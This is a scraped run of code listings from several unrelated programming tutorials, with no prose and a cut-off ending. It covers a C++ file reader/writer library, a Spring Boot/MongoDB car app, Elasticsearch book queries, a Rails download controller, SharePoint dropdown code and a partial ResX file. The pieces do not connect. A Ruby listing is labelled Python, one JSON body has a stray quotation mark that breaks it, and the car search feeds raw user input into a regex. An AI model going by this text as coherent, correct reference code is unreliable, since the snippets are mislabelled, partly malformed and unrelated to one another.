    DataType( const double&amp; d );

    DataType( const std::string&amp; s );

    DataType( const std::wstring&amp; ws );

    DataType( const char* pc );

    DataType( const wchar_t* pwc );

    DataType( char c );

    DataType( unsigned char c );

    DataType( wchar_t wc );

    std::wstring&amp; ToString() { return m_str; }

protected:
    std::wstring m_str;
};
</pre>


<pre lang="C++">
bool Write( const wchar_t* str )
{
    if(pWriter!=nullptr)
    {
        return pWriter-&gt;Write(std::wstring(str));
    }

    return false;
}

template&lt;typename... Args&gt;
bool Write( const wchar_t* fmt, Args&amp;... args )
{
    std::wstring str = StrUtilRef::Format(std::wstring(fmt), 0, args...);

    if(pWriter!=nullptr)
    {
        return pWriter-&gt;Write(str);
    }

    return false;
}</pre>


<pre lang="C++">
size_t xTextReader::ReadLine( DataTypeRef D1, DataTypeRef D2, DataTypeRef D3, DataTypeRef D4,
    DataTypeRef D5 )
{
    if(pReader!=NULL)
    {
        std::wstring text;
        bool b = pReader-&gt;ReadLine(text);

        if(b)
        {
            StrUtilRef strUtil;
            strUtil.SetSplitStrategy(m_pSplitStrategy);

            return strUtil.Split(text.c_str(), D1, D2, D3, D4, D5);
        }
    }

    return 0;
}

size_t StrUtilRef::Split( const std::wstring&amp; StrToExtract, DataTypeRef&amp; D1, DataTypeRef&amp; D2, DataTypeRef&amp; D3, 
    DataTypeRef&amp; D4, DataTypeRef&amp; D5 )
{
    std::vector&lt;DataTypeRef*&gt; vecDTR;
    vecDTR.push_back(&amp;D1);
    vecDTR.push_back(&amp;D2);
    vecDTR.push_back(&amp;D3);
    vecDTR.push_back(&amp;D4);
    vecDTR.push_back(&amp;D5);

    assert( m_pSplitStrategy );
    return m_pSplitStrategy-&gt;Extract( StrToExtract, vecDTR );
}

size_t StrtokStrategy::Extract( 
    const std::wstring&amp; StrToExtract, 
    std::vector&lt;Elmax::DataTypeRef*&gt; vecDTR )
{
    std::vector&lt;std::wstring&gt; vecSplit;
    const size_t size = StrToExtract.size()+1;
    wchar_t* pszToExtract = new wchar_t[size];
    wmemset( pszToExtract, 0, size );
    Wcscpy( pszToExtract, StrToExtract.c_str(), size );

    wchar_t *pszContext = 0;
    wchar_t *pszSplit = 0;
    pszSplit = wcstok( pszToExtract, m_sDelimit.c_str() );

    while( NULL != pszSplit )
    {
        size_t len = wcslen(pszSplit);
        if(pszSplit[len-1]==65535&amp;&amp;vecSplit.size()==vecDTR.size()-1) // bug workaround: wcstok_s/wcstok will put 65535 at the back of last string.
            pszSplit[len-1] = L'\0';

        vecSplit.push_back(std::wstring( pszSplit ) );

        pszSplit = wcstok( NULL, m_sDelimit.c_str() );
    }

    delete [] pszToExtract;

    size_t fail = 0;
    for( size_t i=0; i&lt;vecDTR.size(); ++i )
    {
        if( i &lt; vecSplit.size() )
        {
            if( false == vecDTR[i]-&gt;ConvStrToType( vecSplit[i] ) )
                ++fail;
        }
        else
            break;
    }

    return vecSplit.size()-fail;
}
</pre>


<pre lang="C++">
namespace Elmax
{
class DataTypeRef
{
public:
    ~DataTypeRef(void);

    union UNIONPTR
    {
        int* pi;
        unsigned int* pui;
        short* psi;
        unsigned short* pusi;
        ELMAX_INT64* pi64;
        unsigned ELMAX_INT64* pui64;
        float* pf;
        double* pd;
        std::string* ps;
        std::wstring* pws;
        char* pc;
        unsigned char* puc;
        wchar_t* pwc;
    };

    enum DTR_TYPE
    {
        DTR_INT,
        DTR_UINT,
        DTR_SHORT,
        DTR_USHORT,
        DTR_INT64,
        DTR_UINT64,
        DTR_FLOAT,
        DTR_DOUBLE,
        DTR_STR,
        DTR_WSTR,
        DTR_CHAR,
        DTR_UCHAR,
        DTR_WCHAR
    };

    DataTypeRef( int&amp; i )                    { m_ptr.pi = &amp;i;       m_type = DTR_INT;   }

    DataTypeRef( unsigned int&amp; ui )          { m_ptr.pui = &amp;ui;     m_type = DTR_UINT;  }

    DataTypeRef( short&amp; si )                 { m_ptr.psi = &amp;si;     m_type = DTR_SHORT; }

    DataTypeRef( unsigned short&amp; usi )       { m_ptr.pusi = &amp;usi;   m_type = DTR_USHORT;}

    DataTypeRef( ELMAX_INT64&amp; i64 )          { m_ptr.pi64 = &amp;i64;   m_type = DTR_INT64; }

    DataTypeRef( unsigned ELMAX_INT64&amp; ui64 ){ m_ptr.pui64 = &amp;ui64; m_type = DTR_UINT64;}

    DataTypeRef( float&amp; f )                  { m_ptr.pf = &amp;f;       m_type = DTR_FLOAT; }

    DataTypeRef( double&amp; d )                 { m_ptr.pd = &amp;d;       m_type = DTR_DOUBLE;}

    DataTypeRef( std::string&amp; s )            { m_ptr.ps = &amp;s;       m_type = DTR_STR;   }

    DataTypeRef( std::wstring&amp; ws )          { m_ptr.pws = &amp;ws;     m_type = DTR_WSTR;  }

    DataTypeRef( char&amp; c )                   { m_ptr.pc = &amp;c;       m_type = DTR_CHAR;  }

    DataTypeRef( unsigned char&amp; uc )         { m_ptr.puc = &amp;uc;     m_type = DTR_UCHAR; }

    DataTypeRef( wchar_t&amp; wc )               { m_ptr.pwc = &amp;wc;     m_type = DTR_WCHAR; }

    bool ConvStrToType( const std::string&amp; Str );

    bool ConvStrToType( const std::wstring&amp; Str );

    DTR_TYPE m_type;

    UNIONPTR m_ptr;
};
</pre>


<pre lang="C++">
void ReadArg(std::vector&lt;DataTypeRef*&gt;&amp; vec)
{
}

template&lt;typename T, typename... Args&gt;
void ReadArg(std::vector&lt;DataTypeRef*&gt;&amp; vec, T&amp; t, Args&amp;... args)
{
    vec.push_back(new DataTypeRef(t));
    ReadArg(vec, args...);
}

template&lt;typename... Args&gt;
size_t Read( size_t len, Args&amp;... args )
{
    if(pReader!=nullptr)
    {
        std::wstring text;
        bool b = pReader-&gt;Read(text, len);

        if(b)
        {
            std::vector&lt;DataTypeRef*&gt; vec;
            ReadArg(vec, args...);

            size_t ret = m_pSplitStrategy-&gt;Extract(text, vec);

            for(size_t i=0; i&lt;vec.size(); ++i)
            {
                delete vec[i];
            }

            vec.clear();

            return ret;
        }
    }

    return 0;
}</pre>


<pre lang="C++">
size_t xBinaryWriter::Write( BinaryTypeRef D1, BinaryTypeRef D2 )
{
    size_t totalWritten = 0;
    if(fp!=NULL)
    {
        if(D1.m_type != BinaryTypeRef::DTR_STR &amp;&amp; D1.m_type != BinaryTypeRef::DTR_WSTR &amp;&amp; D1.m_type != BinaryTypeRef::DTR_BASEARRAY)
        {
            size_t len = fwrite(D1.GetAddress(), D1.size, 1, fp);
            if(len==1)
                ++totalWritten;
        }
        else
        {
            size_t len = fwrite(D1.GetAddress(), D1.elementSize, D1.arraySize, fp);
            if(len==D1.arraySize)
                ++totalWritten;
        }

        if(D2.m_type != BinaryTypeRef::DTR_STR &amp;&amp; D2.m_type != BinaryTypeRef::DTR_WSTR &amp;&amp; D2.m_type != BinaryTypeRef::DTR_BASEARRAY)
        {
            size_t len = fwrite(D2.GetAddress(), D2.size, 1, fp);
            if(len==1)
                ++totalWritten;
        }
        else
        {
            size_t len = fwrite(D2.GetAddress(), D2.elementSize, D2.arraySize, fp);
            if(len==D2.arraySize)
                ++totalWritten;
        }

    }

    if(totalWritten != 2)
    {
        errNum = ELMAX_WRITE_ERROR;
        err = StrUtil::Format(L"{0}: Less than 2 elements are written! ({1} elements written)", GetErrorMsg(errNum), totalWritten);
        if(enableException)
            throw new std::runtime_error(StrUtil::ConvToString(err));
    }

    return totalWritten;
}
</pre>


<pre lang="C++">
namespace Elmax
{
class BinaryTypeRef
{
public:
    ~BinaryTypeRef(void);

    union UNIONPTR
    {
        const int* pi;
        const unsigned int* pui;
        const short* psi;
        const unsigned short* pusi;
        const ELMAX_INT64* pi64;
        const unsigned ELMAX_INT64* pui64;
        const float* pf;
        const double* pd;
        std::string* ps;
        const std::wstring* pws;
        const char* pc;
        const unsigned char* puc;
        const wchar_t* pwc;
        const char* arr;
    };

    enum DTR_TYPE
    {
        DTR_INT,
        DTR_UINT,
        DTR_SHORT,
        DTR_USHORT,
        DTR_INT64,
        DTR_UINT64,
        DTR_FLOAT,
        DTR_DOUBLE,
        DTR_STR,
        DTR_WSTR,
        DTR_CHAR,
        DTR_UCHAR,
        DTR_WCHAR,
        DTR_BASEARRAY
    };

    BinaryTypeRef( const int&amp; i )                     { m_ptr.pi = &amp;i; m_type = DTR_INT; size=sizeof(i); }

    BinaryTypeRef( const unsigned int&amp; ui )           { m_ptr.pui = &amp;ui; m_type = DTR_UINT; size=sizeof(ui); }

    BinaryTypeRef( const short&amp; si )                  { m_ptr.psi = &amp;si; m_type = DTR_SHORT; size=sizeof(si); }

    BinaryTypeRef( const unsigned short&amp; usi )        { m_ptr.pusi = &amp;usi; m_type = DTR_USHORT; size=sizeof(usi); }

    BinaryTypeRef( const ELMAX_INT64&amp; i64 )           { m_ptr.pi64 = &amp;i64; m_type = DTR_INT64; size=sizeof(i64); }

    BinaryTypeRef( const unsigned ELMAX_INT64&amp; ui64 ) { m_ptr.pui64 = &amp;ui64; m_type = DTR_UINT64; size=sizeof(ui64); }

    BinaryTypeRef( const float&amp; f )                   { m_ptr.pf = &amp;f; m_type = DTR_FLOAT; size=sizeof(f); }

    BinaryTypeRef( const double&amp; d )                  { m_ptr.pd = &amp;d; m_type = DTR_DOUBLE; size=sizeof(d); }

    BinaryTypeRef( std::string&amp; s )                   { m_ptr.ps = &amp;s; m_type = DTR_STR; elementSize=sizeof(char);size=s.length(); 
                                                            arraySize=s.length();}

    BinaryTypeRef( const std::wstring&amp; ws )           { m_ptr.pws = &amp;ws; m_type = DTR_WSTR; elementSize=sizeof(wchar_t);
                                                            size=ws.length()*sizeof(wchar_t); arraySize=ws.length();}

    BinaryTypeRef( const char&amp; c )                    { m_ptr.pc = &amp;c; m_type = DTR_CHAR; size=sizeof(c); }

    BinaryTypeRef( const unsigned char&amp; uc )          { m_ptr.puc = &amp;uc; m_type = DTR_UCHAR; size=sizeof(uc); }

    BinaryTypeRef( const wchar_t&amp; wc )                { m_ptr.pwc = &amp;wc; m_type = DTR_WCHAR; size=sizeof(wc); }

    BinaryTypeRef( const BaseArray&amp; arr )             { m_ptr.arr = arr.GetPtr(); m_type = DTR_BASEARRAY; 
                                                            size=arr.GetTotalSize(); elementSize=arr.GetElementSize(); 
                                                            arraySize=arr.GetArraySize(); }
    char* GetAddress();

    DTR_TYPE m_type;

    UNIONPTR m_ptr;

    size_t size;

    size_t elementSize;

    size_t arraySize;
};
</pre>


<pre lang="C++">
size_t Write()
{
    return 0;
}

template&lt;typename T, typename... Args&gt;
size_t Write( T t, Args... args )
{
    BinaryTypeRef dt(t);

    size_t totalWritten = 0;
    if(fp!=nullptr)
    {
        if(dt.m_type != BinaryTypeRef::DTR_STR &amp;&amp; dt.m_type != BinaryTypeRef::DTR_WSTR &amp;&amp; dt.m_type != BinaryTypeRef::DTR_BASEARRAY)
        {
            size_t len = fwrite(dt.GetAddress(), dt.size, 1, fp);
            if(len==1)
                ++totalWritten;
        }
        else
        {
            size_t len = fwrite(dt.GetAddress(), dt.elementSize, dt.arraySize, fp);
            if(len==dt.arraySize)
                ++totalWritten;
        }

    }

    return totalWritten + Write(args...);
}</pre>


<pre lang="C++">
size_t xBinaryReader::Read( BinaryTypeReadRef D1, BinaryTypeReadRef D2 )
{
    size_t totalRead = 0;
    if(fp!=NULL)
    {
        if(D1.m_type != BinaryTypeReadRef::DTR_STRARRAY &amp;&amp; D1.m_type != BinaryTypeReadRef::DTR_WSTRARRAY &amp;&amp; D1.m_type != BinaryTypeReadRef::DTR_BASEARRAY)
        {
            size_t cnt = fread(D1.GetAddress(), D1.size, 1, fp);
            if(cnt==1)
                ++totalRead;
        }
        else
        {
            D1.DeferredMake();
            size_t cnt = fread(D1.GetAddress(), D1.elementSize, D1.arraySize, fp);
            if(cnt == D1.arraySize)
                ++totalRead;
        }

        if(D2.m_type != BinaryTypeReadRef::DTR_STRARRAY &amp;&amp; D2.m_type != BinaryTypeReadRef::DTR_WSTRARRAY &amp;&amp; D2.m_type != BinaryTypeReadRef::DTR_BASEARRAY)
        {
            size_t cnt = fread(D2.GetAddress(), D2.size, 1, fp);
            if(cnt==1)
                ++totalRead;
        }
        else
        {
            D2.DeferredMake();
            size_t cnt = fread(D2.GetAddress(), D2.elementSize, D2.arraySize, fp);
            if(cnt==D2.arraySize)
                ++totalRead;
        }

    }

    if(totalRead != 2)
    {
        errNum = ELMAX_READ_ERROR;
        err = StrUtil::Format(L"{0}: Less than 2 elements are read! ({1} elements read)", GetErrorMsg(errNum), totalRead);
        if(enableException)
            throw new std::runtime_error(StrUtil::ConvToString(err));
    }

    return totalRead;
}
</pre>


<pre lang="C++">
size_t Read()
{
    return 0;
}

template&lt;typename T, typename... Args&gt;
size_t Read( T&amp; t, Args&amp;... args )
{
    BinaryTypeReadRef dt(t);
    size_t totalRead = 0;
    if(fp!=nullptr)
    {
        if(dt.m_type != BinaryTypeReadRef::DTR_STRARRAY &amp;&amp; dt.m_type != BinaryTypeReadRef::DTR_WSTRARRAY &amp;&amp; dt.m_type != BinaryTypeReadRef::DTR_BASEARRAY)
        {
            size_t cnt = fread(dt.GetAddress(), dt.size, 1, fp);
            if(cnt==1)
                ++totalRead;
        }
        else
        {
            dt.DeferredMake();
            size_t cnt = fread(dt.GetAddress(), dt.elementSize, dt.arraySize, fp);
            if(cnt == dt.arraySize)
                ++totalRead;
        }

    }

    return totalRead + Read(args...);
}</pre>


<pre lang="C++">
Elmax::ostream operator &lt;&lt;(Elmax::ostream&amp; os, const MyStruct&amp; val)
{
    os &lt;&lt; val.a;
    os &lt;&lt; L",";
    os &lt;&lt; val.b;
    os &lt;&lt; L",";

    return os;
}

Elmax::istream operator &gt;&gt;(Elmax::istream&amp; is, MyStruct&amp; val)
{
    is &gt;&gt; val.a;
    is &gt;&gt; val.b;

    return is;
}</pre>


<pre lang="C++">
// Writing
xTextWriter writer;
std::wstring file = L"...";
writer.Open(file, FT_UTF8, NEW);
writer.Close();

int i = 25698;
double d = 1254.5;
MyStruct my = { 22, 33 };
writer.Write(L"{0},{1},{2}", i, my, d);

// Reading
xTextReader reader;
reader.Open(file);
int i2 = 0;
double d2 = 0.0;
MyStruct my2 = { 0, 0 };

// do not set split strategy but set delimiters instead.
reader.SetDelimiter(L",");
size_t totalRead = reader.ReadLine(i2, my2, d2);</pre>


<pre lang="C++">
struct DiffDelimiterStruct
{
    int a;
    float b;
};
Elmax::ostream operator &lt;&lt;(Elmax::ostream&amp; os, const DiffDelimiterStruct&amp; val)
{
    os &lt;&lt; val.a;
    os &lt;&lt; L"|";
    os &lt;&lt; val.b;
    os &lt;&lt; L"|";

    return os;
}

Elmax::istream operator &gt;&gt;(Elmax::istream&amp; is, DiffDelimiterStruct&amp; val)
{
    std::wstring old_delimiter = is.set_delimiter(L"|");

    is &gt;&gt; val.a;
    is &gt;&gt; val.b;

    is.set_delimiter(old_delimiter);

    return is;
}</pre>


<pre lang="C++">
// Writing
xTextWriter writer;
std::wstring file = L"...";
writer.Open(file, FT_UTF8, NEW);
int i = 25698;
double d = 1254.5;
DiffDelimiterStruct my = { 22, 33 };
writer.Write(L"{0},{1},{2}", i, my, d);
writer.Close();

// Reading
xTextReader reader;
reader.Open(file);

int i2 = 0;
double d2 = 0.0;
DiffDelimiterStruct my2 = { 0, 0 };

reader.SetDelimiter(L",");
size_t totalRead = reader.ReadLine(i2, my2, d2);
</pre>


<pre lang="Java">
package com.tests4geeks.tutorials.model;

import org.springframework.data.mongodb.core.mapping.Document;

@Document(collection = "cars")
public class Car {

  private String id;

  private String make;

  private String model;

  private String description;

  public Car() {}

  public String getId() {
    return id;
  }

  public void setId(String id) {
    this.id = id;
  }

  public String getMake() {
    return make;
  }

  public void setMake(String make) {
    this.make = make;
  }

  public String getModel() {
    return model;
  }

  public String getDescription() {
    return description;
  }

  public void setDescription(String description) {
    this.description = description;
  }

  public void setModel(String model) {
    this.model = model;
  }
}</pre>


<pre lang="HTML">
&lt;code class="html"&gt;&lt;html&gt;
    &lt;head&gt;
        &lt;title&gt;MongoDB/Spring Boot tutorial from tests4geeks.com&lt;/title&gt;
        &lt;style&gt;
            table, th, td {
               border: 1px solid black;
               border-spacing: 0px;
            }
            th, td {
                padding: 10px;
            }
        &lt;/style&gt;
    &lt;/head&gt;
    &lt;body&gt;
        &lt;table&gt;
            &lt;thead&gt;
                &lt;tr&gt;
                    &lt;th&gt;Make&lt;/th&gt;
                    &lt;th&gt;Model&lt;/th&gt;
                    &lt;th&gt;Description&lt;/th&gt;
                    &lt;th&gt;Year&lt;/th&gt;
                &lt;/tr&gt;
            &lt;/thead&gt;
            &lt;tbody&gt;
                &lt;tr th:each="car : ${carList}"&gt;
                    &lt;td th:text="${car.make}"&gt;&lt;/td&gt;
                    &lt;td th:text="${car.model}"&gt;&lt;/td&gt;
                    &lt;td th:text="${car.description}"&gt;&lt;/td&gt;
                    &lt;td&gt;&lt;/td&gt;
                &lt;/tr&gt;
            &lt;/tbody&gt;
        &lt;/table&gt;
        &lt;br /&gt;
        &lt;h2&gt;Add Car&lt;/h2&gt;
        &lt;form action="/addCar" method="POST"&gt;
            Make &lt;input type="text" id="make" name="make" /&gt;&lt;br /&gt;
            Model &lt;input type="text" id="model" name="model" /&gt;&lt;br /&gt;
            Description &lt;textarea rows="5" cols="70" id="description" name="description" /&gt;&lt;br /&gt;
            &lt;input type="submit" /&gt;
        &lt;/form&gt;
        &lt;h2&gt;Search for cars&lt;/h2&gt;
        &lt;form action="/search" method="GET"&gt;
            &lt;input type="text" name="search" id="search" th:value="${search}" /&gt;
            &lt;input type="submit" value="Search" /&gt;
        &lt;/form&gt;
    &lt;/body&gt;
&lt;/html&gt;</pre>


<pre lang="Java">
package com.tests4geeks.tutorials.controllers;

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.ModelAttribute;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;

import com.tests4geeks.tutorials.model.Car;
import com.tests4geeks.tutorials.repository.CarMongoRepository;

@Controller
public class CarController {

    @Autowired
    CarMongoRepository carRepository;

    @RequestMapping("/home")
    public String home(Model model) {
        model.addAttribute("carList", carRepository.findAll());
        return "home";
    }

    @RequestMapping(value = "/addCar", method = RequestMethod.POST)
    public String addCar(@ModelAttribute Car car) {
        carRepository.save(car);
        return "redirect:home";
    }

    @RequestMapping(value = "/search")
    public String search(@RequestParam String search) {
        return "home";
    }
}</pre>


<pre lang="Java">
package com.tests4geeks.tutorials.model;

import org.springframework.data.mongodb.core.mapping.Document;

@Document(collection = "cars")
public class Car {

    private String id;

    private String make;

    private String model;

    private String description;

    private Integer year;

    public String getId() {
        return id;
    }

    public void setId(String id) {
        this.id = id;
    }

    public String getMake() {
        return make;
    }

    public void setMake(String make) {
        this.make = make;
    }

    public String getModel() {
        return model;
    }

    public String getDescription() {
        return description;
    }

    public void setDescription(String description) {
        this.description = description;
    }

    public void setModel(String model) {
        this.model = model;
    }

    public Integer getYear() {
        return year;
    }

    public void setYear(Integer year) {
        this.year = year;
    }
}</pre>


<pre lang="HTML">
&lt;html&gt;
    &lt;head&gt;
        &lt;title&gt;MongoDB/Spring Boot tutorial from tests4geeks.com&lt;/title&gt;
        &lt;style&gt;
            table, th, td {
               border: 1px solid black;
               border-spacing: 0px;
            }
            th, td {
                padding: 10px;
            }
        &lt;/style&gt;
    &lt;/head&gt;
    &lt;body&gt;
        &lt;table&gt;
            &lt;thead&gt;
                &lt;tr&gt;
                    &lt;th&gt;Make&lt;/th&gt;
                    &lt;th&gt;Model&lt;/th&gt;
                    &lt;th&gt;Description&lt;/th&gt;
                    &lt;th&gt;Year&lt;/th&gt;
                &lt;/tr&gt;
            &lt;/thead&gt;
            &lt;tbody&gt;
                &lt;tr th:each="car : ${carList}"&gt;
                    &lt;td th:text="${car.make}"&gt;&lt;/td&gt;
                    &lt;td th:text="${car.model}"&gt;&lt;/td&gt;
                    &lt;td th:text="${car.description}"&gt;&lt;/td&gt;
                    &lt;td th:text="${car.year}"&gt;&lt;/td&gt;
                &lt;/tr&gt;
            &lt;/tbody&gt;
        &lt;/table&gt;
        &lt;br /&gt;
        &lt;h2&gt;Add Car&lt;/h2&gt;
        &lt;form action="/addCar" method="POST"&gt;
            Make &lt;input type="text" id="make" name="make" /&gt;&lt;br /&gt;
            Model &lt;input type="text" id="model" name="model" /&gt;&lt;br /&gt;
            Year &lt;input type="text" id="year" name="year" /&gt;&lt;br /&gt;
            Description &lt;textarea rows="5" cols="70" 
            id="description" name="description" /&gt;&lt;br /&gt;
            &lt;input type="submit" /&gt;
        &lt;/form&gt;
        &lt;h2&gt;Search for cars&lt;/h2&gt;
        &lt;form action="/search" method="POST"&gt;
            &lt;input type="text" name="search" id="search" th:value="${search}" /&gt;
            &lt;input type="submit" value="Search" /&gt;
        &lt;/form&gt;
    &lt;/body&gt;
&lt;/html&gt;</pre>


<pre lang="Java">
package com.tests4geeks.tutorials.repository;

import java.util.Collection;

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.data.mongodb.core.MongoTemplate;
import org.springframework.data.mongodb.core.query.Criteria;
import org.springframework.data.mongodb.core.query.Query;
import org.springframework.stereotype.Repository;

import com.tests4geeks.tutorials.model.Car;

@Repository
public class CarSearchRepository {

    @Autowired
    MongoTemplate mongoTemplate;

    public Collection searchCars(String text) {
        return mongoTemplate.find(Query.query(new Criteria()
                        .orOperator(Criteria.where("description").regex(text, "i"),
                                    Criteria.where("make").regex(text, "i"),
                                    Criteria.where("model").regex(text, "i"))
                        ), Car.class);
    }

}</pre>


<pre lang="Java">
package com.tests4geeks.tutorials.controllers;

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.ModelAttribute;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;

import com.tests4geeks.tutorials.model.Car;
import com.tests4geeks.tutorials.repository.CarMongoRepository;
import com.tests4geeks.tutorials.repository.CarSearchRepository;

@Controller
public class CarController {

    @Autowired
    CarMongoRepository carRepository;

    @Autowired
    CarSearchRepository carSearchRepository;

    @RequestMapping("/home")
    public String home(Model model) {
        model.addAttribute("carList", carRepository.findAll());
        return "home";
    }

    @RequestMapping(value = "/addCar", method = RequestMethod.POST)
    public String addCar(@ModelAttribute Car car) {
        carRepository.save(car);
        return "redirect:home";
    }

    @RequestMapping(value = "/search")
    public String search(Model model, @RequestParam String search) {
        model.addAttribute("carList", carSearchRepository.searchCars(search));
        model.addAttribute("search", search);
        return "home";
    }
}</pre>


<pre lang="JavaScript">
POST /books/book/1
{
  "title" : "Effective Java",
  "author" : "Josh Bloch",
  "language" : "Java",
  "publishYear" : 2008,
  "summary" : "Are you looking for a deeper understanding of the Java programming language 
       so that you can write code that is clearer, more correct, more robust, and more reusable? 
       Look no further! Effective Java, Second Edition, brings together seventy-eight indispensable 
       programmer's rules of thumb: working, best-practice solutions for the programming challenges 
       you encounter every day."
}</pre>


<pre lang="JavaScript">
POST /books/book/2
{
  "title" : "JavaScript: The Good Parts",
  "author" : "Douglas Crockford",
  "language" : "JavaScript",
  "publishYear" : 2008,
  "summary" : "Most programming languages contain good and bad parts, but JavaScript has more than 
      its share of the bad, having been developed and released in a hurry before it could be refined. 
      This authoritative book scrapes away these bad features to reveal a subset of JavaScript that's 
      more reliable, readable, and maintainable than the language as a whole—a subset you can use 
      to create truly extensible and efficient code."
}</pre>


<pre lang="JavaScript">
POST /books/book/3
{
  "title" : "Programming in Scala: A Comprehensive Step-by-Step Guide, 2nd Edition",
  "author" : "Martin Odersky",
  "language" : "Scala",
  "publishYear" : 2011,
  "summary" : "Scala is an object-oriented programming language for the Java Virtual Machine. 
      In addition to being object-oriented, Scala is also a functional language, and combines 
      the best approaches to OO and functional programming."
}</pre>


<pre lang="JavaScript">
POST /books/book/4
{
  "title" : "Hadoop: The Definitive Guide, 4th Edition",
  "author" : "Tom White",
  "language" : "Java",
  "publishYear" : 2015,
  "summary" : "Get ready to unlock the power of your data. With the fourth edition of this 
      comprehensive guide, you'll learn how to build and maintain reliable, scalable, 
      distributed systems with Apache Hadoop. This book is ideal for programmers looking 
      to analyze datasets of any size, and for administrators who want to set up 
      and run Hadoop clusters."
}</pre>


<pre lang="JavaScript">
POST /books/book/5
{
  "title" : "Learn You a Haskell for Great Good!: A Beginner's Guide",
  "author" : "Miran Lipovaca",
  "language" : "Haskell",
  "publishYear" : 2011,
  "summary" : "It's all in the name: Learn You a Haskell for Great Good! is a hilarious, 
     illustrated guide to this complex functional language. Packed with the author's original artwork,"
     pop culture references, and most importantly, useful example code, this book teaches functional 
     fundamentals in a way you never thought possible."
}</pre>


<pre lang="JavaScript">
POST /books/book/_search
{
    "query" :
    {
        "filtered":
        {
            "query" :
            {
                "match_all": {}
            },
           "filter":
           {
               "range":
               {
                  "publishYear":
                  {
                     "from": 2011
                  }
               }
           }
        }
    }
}</pre>


<pre lang="JavaScript">
POST /books/book/_search
{
    "query" :
    {
        "filtered":
        {
            "query" :
            {
                "query_string":
                {
                    "query": "java"
                }
            },
           "filter":
           {
               "range":
               {
                  "publishYear":
                  {
                     "to": 2014
                  }
               }
           }
        }
    }
}</pre>


<pre lang="Python">
class DemoController &lt; ApplicationController
  respond_to :html, :js

  def home
  end

  def show_options
  end

  def hide_options
  end

  def download
    if params[:data]
      send_data render_to_string(partial: 'demo/download/data'),
                type: 'text/plain; charset=UTF-8;',
                filename: "Data #{Time.current.to_formatted_s(:db)}.txt"
    elsif params[:sample]
      send_data render_to_string(partial: 'demo/download/sample'),
                type: 'text/plain; charset=UTF-8;',
                filename: "Sample #{Time.current.to_formatted_s(:db)}.txt"
    elsif params[:demo]
      send_data render_to_string(partial: 'demo/download/demo'),
                type: 'text/plain; charset=UTF-8;',
                filename: "Demo #{Time.current.to_formatted_s(:db)}.txt"
    end
  end
end</pre>



<pre lang="HTML">
&lt;div id="download_options"&gt;
 &lt;%= button_to "View download Options", show_options_path,
 :remote =&gt; true,
 :method =&gt; "post" %&gt;
&lt;/div&gt;
&lt;a class="lightbox" href="https://tests4geeks.com/tutorials/wp-content/uploads/2016/04/home.png"&gt;
&lt;img class="size-full wp-image-712 aligncenter" 
 src="https://tests4geeks.com/tutorials/wp-content/uploads/2016/04/home.png" alt="home" 
 width="320" height="240" /&gt;&lt;/a&gt;</pre>


<pre lang="HTML">
&lt;h3&gt;Your download options are: &lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;%= link_to "Data download", download_path(data: true), :method =&gt; "get" %&gt;&lt;/li&gt;
&lt;li&gt;&lt;%= link_to "Sample download", download_path(sample: true), :method =&gt; "get" %&gt;&lt;/li&gt;
&lt;li&gt;&lt;%= link_to "Demo download", download_path(demo: true), :method =&gt; "get" %&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;%= button_to "Hide download Options", hide_options_path,
:remote =&gt; true,
:method =&gt; "post" %&gt;
&lt;a class="lightbox" 
 href="https://tests4geeks.com/tutorials/wp-content/uploads/2016/04/download_options.png"&gt;
&lt;img class="size-full wp-image-713 aligncenter" 
 src="https://tests4geeks.com/tutorials/wp-content/uploads/2016/04/download_options.png" 
 alt="download_options" width="320" height="240" /&gt;&lt;/a&gt;</pre>


<pre lang="JavaScript">
export interface IPropertyPaneAsyncDropdownProps 
{ 
label : string ;
loadOptions : () =&gt; Promise &lt; IDropdownOption []&gt;;
onPropertyChange : ( propertyPath : string , newValue : any ) =&gt; void ;
selectedKey : string | number ;
disabled ?: boolean ;
}</pre>


<pre lang="JavaScript">
constructor ( targetProperty :  string ,  properties :  IPropertyPaneAsyncDropdownProps ) 
{
this . targetProperty  =  targetProperty ; 
this . properties  =  
{ 
key :  properties . label , 
label :  properties . label , 
loadOptions :  properties . loadOptions , 
onPropertyChange :  properties . onPropertyChange , 
selectedKey :  properties . selectedKey , 
disabled :  properties . disabled , 
onRender :  this . onRender . bind ( this ) 
}; 
}</pre>


<pre lang="JavaScript">
protected getPropertyPaneConfiguration(): IPropertyPaneConfiguration
{
return 
{
pages: [
{
header: {
description: strings.PropertyPaneDescription
},
groups: [
{
groupName: strings.BasicGroupName,
groupFields: [
PropertyPaneTextField('description', {
label: strings.DescriptionFieldLabel
}),
new PropertyPaneAsyncDropdown('listUrl', {
label: strings.ListFieldLabel,
loadOptions: this.loadLists.bind(this),
onPropertyChange: this.onListChange.bind(this),
selectedKey: this.properties.listUrl
})
]
}
]
}
]
};
}</pre>


<pre lang="JavaScript">
private onListChange(propertyPath: string, newValue: any): void
{
const oldValue: any = get(this.properties, propertyPath);
if (oldValue !== newValue)
{
//this.properties.fields = null;
}
// store new value in web part properties
update( this.properties, propertyPath, (): any =&gt; newValue );
// refresh property Pane
this.context.propertyPane.refresh();
// refresh web part
this.render();
}</pre>


<pre lang="XML">
&lt;?xml version="1.0" encoding="utf-8"?&gt;
&lt;root&gt;
  &lt;!--
    Microsoft ResX Schema
    Version 2.0
    ...
    --&gt;
  &lt;xsd:schema ...
    ...
  &lt;/xsd:schema&gt;
  &lt;resheader name="resmimetype"&gt;
    &lt;value&gt;text/microsoft-resx&lt;/value&gt;
  &lt;/resheader&gt;
  &lt;resheader name="version"&gt;
    &lt;value&gt;2.0&lt;/value&gt;
  &lt;/resheader&gt;
  &lt;resheader name="reader"&gt;
    &lt;value&gt;System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0,
           Culture=neutral, PublicKeyToken=b77a5c561934e089&lt;/value&gt;
  &lt;/resheader&gt;
  &lt;resheader name="writer"&gt;
